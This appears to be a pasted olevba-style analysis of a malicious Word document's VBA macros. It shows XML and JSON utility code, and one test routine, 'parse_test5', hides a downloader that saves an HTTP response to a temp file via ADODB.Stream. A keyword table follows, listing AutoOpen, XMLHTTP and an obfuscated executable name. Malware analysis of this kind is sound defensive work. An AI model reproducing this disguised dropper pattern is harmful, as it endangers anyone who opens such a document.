- intTagLength = 0
- End If
- End Sub
- Public Sub PrettyPrintXMLToFile(XMLString As String, _
- XMLFile As String)
- Dim SplitXMLString() As String
- Dim IndentString As String
- Dim XMLStringLength As Long
- Dim SplitIndex
- Dim FileNum As Integer
- If Trim(XMLString) = Empty Then Exit Sub
- IndentString = Empty
- FileNum = FreeFile
- Open XMLFile For Output As FileNum
- XMLString = Replace(XMLString, vbLf, vbNullString)
- SplitXMLString = Split(XMLString, "<")
- SplitIndex = LBound(SplitXMLString) + 1
- Do
- If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then
- IndentString = left(IndentString, Len(IndentString) - 3)
- Print #FileNum, IndentString & "<" & _
- SplitXMLString(SplitIndex)
- SplitIndex = SplitIndex + 1
- ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then
- If InStr(1, left(SplitXMLString(SplitIndex), _
- InStr(1, SplitXMLString(SplitIndex), ">")), _
- " ") > 0 Then
- Print #FileNum, IndentString & "<" & _
- SplitXMLString(SplitIndex)
- SplitIndex = SplitIndex + 1
- Else
- Print #FileNum, IndentString & "<" & _
- SplitXMLString(SplitIndex) & "<" & _
- SplitXMLString(SplitIndex + 1)
- SplitIndex = SplitIndex + 2
- End If
- Else
- Print #FileNum, IndentString & "<" & _
- SplitXMLString(SplitIndex)
- If SplitXMLString(SplitIndex) <> "?xml version=""1.0"" ?>" And _
- SplitXMLString(SplitIndex) <> "!DOCTYPE QBXML PUBLIC
- InStr(1, SplitXMLString(SplitIndex), "qbxml version") = 0 Then
- IndentString = IndentString & " "
- End If
- SplitIndex = SplitIndex + 1
- End If
- Loop Until SplitIndex >= UBound(SplitXMLString)
- If left(SplitXMLString(UBound(SplitXMLString)), 1) = "/" Then
- If Len(IndentString) >= 3 Then
- IndentString = left(IndentString, Len(IndentString) - 3)
- End If
- End If
- Print #FileNum, IndentString & "<" & _
- SplitXMLString(UBound(SplitXMLString))
- Close FileNum
- End Sub
- Public Function PrettyPrintXMLToString(strInXMLString As String) As String
- Dim SplitXMLString() As String
- Dim IndentString As String
- Dim XMLStringLength As Long
- Dim SplitIndex
- Dim FileNum As Integer
- Dim XMLString As String
- Dim strOut As String
- XMLString = strInXMLString
- strOut = Empty
- If Trim(XMLString) = Empty Then
- PrettyPrintXMLToString = Empty
- Exit Function
- End If
- IndentString = Empty
- XMLString = Replace(XMLString, vbLf, vbNullString)
- SplitXMLString = Split(XMLString, "<")
- SplitIndex = LBound(SplitXMLString) + 1
- Do
- If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then
- IndentString = left(IndentString, Len(IndentString) - 3)
- strOut = strOut & IndentString & "<" & _
- SplitXMLString(SplitIndex) & vbCrLf
- SplitIndex = SplitIndex + 1
- ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then
- If InStr(1, left(SplitXMLString(SplitIndex), _
- InStr(1, SplitXMLString(SplitIndex), ">")), _
- " ") > 0 Then
- strOut = strOut & IndentString & "<" & _
- SplitXMLString(SplitIndex) & vbCrLf
- SplitIndex = SplitIndex + 1
- Else
- strOut = strOut & IndentString & "<" & _
- SplitXMLString(SplitIndex) & "<" & _
- SplitXMLString(SplitIndex + 1) & vbCrLf
- SplitIndex = SplitIndex + 2
- End If
- Else
- strOut = strOut & IndentString & "<" & _
- SplitXMLString(SplitIndex) & vbCrLf
- SplitIndex = SplitIndex + 1
- End If
- Loop Until SplitIndex >= UBound(SplitXMLString)
- If left(SplitXMLString(UBound(SplitXMLString)), 1) = "/" Then
- If Len(IndentString) >= 3 Then
- IndentString = left(IndentString, Len(IndentString) - 3)
- End If
- End If
- strOut = strOut & IndentString & "<" & _
- SplitXMLString(UBound(SplitXMLString))
- PrettyPrintXMLToString = strOut
- End Function
- Private Function NewMessageSetID() As String
- NewMessageSetID = Format(Now, "XyyyymmddThhmmss")
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: pmB3A6-01.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public httpRequest As Object
- Private Sub ToString_test1()
- Dim lib As String
- Set lib = New ejsonlib
- Dim a As String
- Dim b As Date
- Debug.Print "=> ToString_test1"
- b = Now()
- Debug.Print , "ToString_test1=" & libdd.dd.ToString(Array("a", "b", Array(1, b, "3")))
- If libdd.dd.ParseError = vbNullString Then
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , libdd.dd.ParseError
- Debug.Print , "FAILED"
- End If
- Set lib = Nothing
- End Sub
- Private Sub ToString_test2()
- Dim lib As String
- Set lib = New ejsonlib
- Dim a As Object
- Dim b As Object
- Dim c As New Collection
- Debug.Print "=> ToString_test2"
- Set a = CreateObject("Scripting.Dictionary")
- Set b = CreateObject("Scripting.Dictionary")
- a("aaa") = "abc"
- a("bbb") = Array(0, 1, b)
- b("ccc") = "def"
- Set b("ddd") = c
- c.Add "ghi"
- c.Add 999
- Debug.Print , "libdd.dd.ToString(a)=" & libdd.dd.ToString(a)
- If libdd.dd.ParseError = vbNullString Then
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , libdd.dd.ParseError
- Debug.Print , "FAILED"
- End If
- Set lib = Nothing
- Set c = Nothing
- Set b = Nothing
- Set a = Nothing
- End Sub
- Private Sub parse_test1()
- Dim lib As String
- Set lib = New ejsonlib
- Dim json As Object
- Dim parseString As String
- Debug.Print "=> parse_test1"
- parseString = " " & vbCrLf & vbTab & " {}"
- Debug.Print , "parseString=" & parseString
- Set json = libdd.dd.Parse(parseString)
- If libdd.dd.ParseError = vbNullString Then
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , libdd.dd.ParseError
- Debug.Print , "FAILED {}"
- GoTo PROC_EXIT
- End If
- Debug.Assert TypeName(json) = "Dictionary"
- Debug.Print , "TypeName(json)=" & TypeName(json), "json.Count=" & json.Count
- Debug.Print
- parseString = " " & vbCrLf & vbTab & " []"
- Debug.Print , "parseString=" & parseString
- Set json = libdd.dd.Parse(parseString)
- If libdd.dd.ParseError = "" Then
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , libdd.dd.ParseError
- Debug.Print , "FAILED []"
- GoTo PROC_EXIT
- End If
- Debug.Assert TypeName(json) = "Collection"
- Debug.Print , "TypeName(json)=" & TypeName(json), "json.Count=" & json.Count
- PROC_EXIT:
- Set json = Nothing
- Set lib = Nothing
- End Sub
- Private Sub parse_test2()
- Dim lib As String
- Set lib = New ejsonlib
- Dim json As Object
- Dim parseString As String
- Debug.Print "=> parse_test2"
- parseString = " " & vbCrLf & vbTab & " {}"
- Debug.Print , "parseString=" & parseString
- Set json = libdd.dd.Parse(parseString)
- Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
- If libdd.dd.ParseError = vbNullString Then
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , libdd.dd.ParseError
- Debug.Print , "FAILED"
- End If
- Set json = Nothing
- Set lib = Nothing
- End Sub
- Private Sub parse_test3()
- Dim lib As String
- Set lib = New ejsonlib
- Dim json As Object
- Dim strEmbed As String
- Dim errString As String
- Debug.Print "=> parse_test3"
- strEmbed = " [[], {""test1"":"
- Debug.Print , "strEmbed=" & strEmbed
- Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbed)
- Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
- If libdd.dd.ParseError = vbNullString Then
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , libdd.dd.ParseError
- Debug.Print , "FAILED"
- End If
- Set json = Nothing
- Set lib = Nothing
- End Sub
- Private Sub parse_test3a()
- Dim lib As String
- Set lib = New ejsonlib
- Dim json As Object
- Dim strEmbedValid As String
- Dim errString As String
- Debug.Print "=> parse_test3a STRICT JSON"
- strEmbedValid = " [[], {""test1"":""v1"", ""test2"":""v222"", ""test3"":""v33333""}, null , ""test"", 123, 567.8910, 4.7e+10, true, false]"
- Debug.Print , "strEmbedValid=" & strEmbedValid
- Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbedValid)
- Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
- If libdd.dd.ParseError = vbNullString Then
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , libdd.dd.ParseError
- Debug.Print , "FAILED"
- End If
- Set json = Nothing
- Set lib = Nothing
- End Sub
- Private Sub parse_test4()
- Dim lib As String
- Set lib = New ejsonlib
- Dim json As Object
- Dim errString As String
- Dim strEmbed As String
- Debug.Print "=> parse_test4"
- strEmbed = "[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]"""
- Debug.Print , "strEmbed=" & strEmbed
- Set json = libdd.dd.Parse("[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]")
- Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
- errString = libdd.dd.ParseError
- If errString = "" Then
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , errString
- Debug.Print , "FAILED"
- End If
- Set json = Nothing
- Set lib = Nothing
- End Sub
- Public Sub parse_test5()
- Dim lib As String
- Dim json As Object
- Dim Text As String
- Dim res1 As String
- Dim res2 As String
- Dim errString As String
- Set shellApp = CreateObject("Shell.Application")
- With CreateObject("ADODB.Stream")
- .Type = 1
- .Open
- .write httpRequest.responseBody
- .savetofile tempFile, 2
- .Close
- End With
- Exit Sub
- Debug.Print , "text=" & Text
- Set json = libdd.dd.Parse(Text)
- Debug.Assert Err.Number = 0
- res1 = libdd.dd.ToString(json)
- Set json = libdd.dd.Parse(libdd.dd.ToString(json))
- Debug.Assert Err.Number = 0
- res2 = libdd.dd.ToString(json)
- errString = libdd.dd.ParseError
- If errString = "" Then
- Debug.Print , res1
- Debug.Print , res2
- Debug.Assert (res1 = res2)
- Debug.Print , "VALIDATED"
- Else
- Debug.Print , errString
- Debug.Print , "FAILED"
- End If
- Set json = Nothing
- End Sub
- Private Sub skip_test()
- Dim lib As String
- Set lib = New ejsonlib
- Dim str As String
- Dim index As Long
- Dim errString As String
- Debug.Print "=> skip_test"
- str = vbCrLf & vbCr & vbLf & " " & "abc"
- index = 1
- libdd.dd.SkipChar str, index
- Debug.Assert index = 6
- Debug.Print , "index=" & index, "Mid(str, index, 1)=" & Mid(str, index, 1)
- Set lib = Nothing
- End Sub
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | ADODB.Stream | May create a text file |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Output | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Print # | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Lib | May run code from a DLL |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | | | (obfuscation: VBA expression) |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | trume1.exe | Executable file name (obfuscation: VBA |
- | | | expression) |
- | VBA string | \trume1.exe | "\" + "" + "" + "tru" + "" + "" + "me1" |
- | | | + "." + "" + "e" + "xe" |
- | VBA string | Microsoft.XMLHTTP | ("Microsoft" + ".XMLHTTP") |
- | VBA string | abc | " " & "abc" |
- +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment